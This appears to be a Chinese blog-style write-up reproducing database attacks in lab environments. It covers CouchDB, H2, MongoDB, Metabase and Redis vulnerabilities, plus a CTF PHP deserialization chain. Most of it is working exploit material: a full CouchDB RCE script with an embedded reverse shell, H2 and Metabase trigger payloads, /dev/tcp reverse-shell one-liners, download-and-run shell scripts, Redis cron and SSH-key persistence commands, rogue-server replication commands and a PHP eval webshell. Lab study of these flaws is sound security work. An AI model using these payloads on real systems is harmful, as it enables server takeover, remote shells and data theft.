select sys_eval('whoami'); select sys_eval('dir'); 发现已经成功并且是Administrator权限 couchdb数据库 漏洞介绍 ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用 漏洞复现 CVE-2017-12635 PUT发包创建用户 选择内网映射端口为5984的抓包访问 http://192.168.48.133:54944/_utils/#login这个为登陆应用 发包目的是增加用户,可以用bp或者postman PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 110 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" } 成功添加用户 CVE-2017-12636 CVE-2017-12636 exp 命令执行 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://your-ip:5984' command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1""" version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}') h2database数据库 H2 是一个开源的嵌入式数据库引擎,纯 java实现的关系型数据库,不受平台的限制。 未授权访问 发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE; 在JDBC URL输入这个语句点击connect即可未授权访问 RCE姿势 在VPS里面创建个sql文件,然后远程加载利用服务。 re_shell.sql CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");'; bash -i >& /dev/tcp/ip/7888 0>&1 远程加载姿势如下,填入python启动的ip和端口 jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://IP:port/re_shell.sql'; mongodb数据库 大致介绍一下 MongoDB是一个基于分布式文件存储的数据库 由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。 未授权访问漏洞 可以用msf检测 search mongodb 存在未授权访问漏洞 可以利用mongodb连接工具直接连接 metabase数据库分析 metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具 Metabase geojson任意文件读取漏洞 (CVE-2021-41277) payload /api/geojson?url=file:/etc/passwd Metabase 远程代码执行漏洞(CVE-2023-38646) Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。 这里使用vulhub的docker环境,vulfocus可能有问题没复现成功 GET访问 /api/session/properties exp POST /api/setup/validate HTTP/1.1 Host: your-ip Content-Type: application/json { "token": "token值", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$--=x", "advanced-options": false, "ssl": true }, "name": "test", "engine": "h2" } } 验证一下 python启动一个http服务,然后exec执行curl ip:8899/1.txt python3 -m http.server 8899 验证成功 尝试反弹shell 未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell 创建个re_shell.sh,内容如下 !/bin/sh bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1' 执行 wget http://ip:port/re_shell.sh 执行 /bin/bash /tmp/re_shell.sh 成功反弹shell
数据库攻防学习之Redis
Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。 ubuntu 20.04+docker docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=127.0.0.1 vulfocus/vulfocus 建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。 0x03漏洞复现 Redis Lua沙盒绕过 命令执行 CVE-2022-0543 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意Lua 功能 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令 代码如下 local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res payload如下 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 漏洞复现 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0 这里可以用another redis 这个个管理工具,方便redis数据库使用 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("find / -name flag*", "r"); local res = f:read("*a"); f:close(); return res' 0 未授权访问redis 未授权访问 (CNVD-2015-07557) 这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。 攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。 1.linux写入公钥 利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态 允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器 ssh-keygen -t rsa cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt cat key.txt | redis-cli -h 目标IP -x set xxx 这里权限不够,这个是vulfocus有问题 满足条件的话可以直接这样,可以自己搭建一个redis环境做实验 具体搭建可参考 https://blog.csdn.net/qq_41210745/article/details/103305262yes要改成no 环境启动,接着 config set dir /root/.ssh/ config set dbfilename authorized_keys save cd /root/.ssh/ ssh -i id_rsa root@目标IP 已经成功写入 进入该ubuntu查看 cd /root/.ssh/ 尝试SSH连接 ssh -i id_rsa root@192.168.48.133 可以看到成功拿下 2.写入webshell 前提条件,有可写权限,存在web服务,知道web路径 继续用该环境下尝试webshell写入 命令如下 FLUSHALL 使用这个清空之前的配置 前提条件,web目录可以读写 config set dir /tmp 设置WEB写入目录 config set dbfilename test.php 设置写入文件名 set test "<?php phpinfo();?>" 设置写入文件代码 set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n" 换行防止执行失败 bgsave 保存执行 save chmod -R 777 /var/www/html/ 这里设置html尝试写入webshell 3.写计划任务反弹shell FLUSHALL 记得清空配置 利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态 环境依然是上面的配置环境 config set dir /var/spool/cron set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口 0>&1\n\n\n" config set dbfilename x save set yy "nnn* * * * * bash -i >& /dev/tcp/192.168.48.133/9999 0>&1\n\n\n" 注意: centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码,所以导致命令执行失败 可以看到有乱码,ubuntu并未正常执行 主从复制利用 https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行 redis-rogue-serve python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325 --lhost 192.168.48.132 https://github.com/vulhub/redis-rogue-getshell这里记得要编译 cd RedisModulesSDK/ make python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "id" python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*" 实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况 天翼杯 考点反序列化,redis主从复制RCE代码 <?php class a{ public $code = ""; function __call($method,$args){ eval($this->code); } // function __wakeup(){ // $this->code = ""; // } } class b{ function __destruct(){ echo $this->a->a(); } } $a=new A(); $b=new B(); $a->code="phpinfo();"; $b->a=$a; echo serialize($b); 构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。 call():当调用对象中不存在的方法会自动调用该方法wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法 这里destruct方法调用了一个不存在的a方法,那么会调用到call方法 因为wakeup方法中$this->code ="";还有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);这里有过滤,所以接下来要做到绕过wakeup和正则,这里利用wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。 如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}绕过wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}} 这里无法执行system("ls") 蚁剑连接$a->code="eval($_POST["a"]);"; 打开之后发现其泄露了redis的密码define("REDIS_PASS","you_cannot_guess_it");蚁剑插件连接上 使用EXP.so文件 MODULE LOAD /var/www/html/exp.so 然后就可以进行命令执行了 若有收获,就点个赞吧。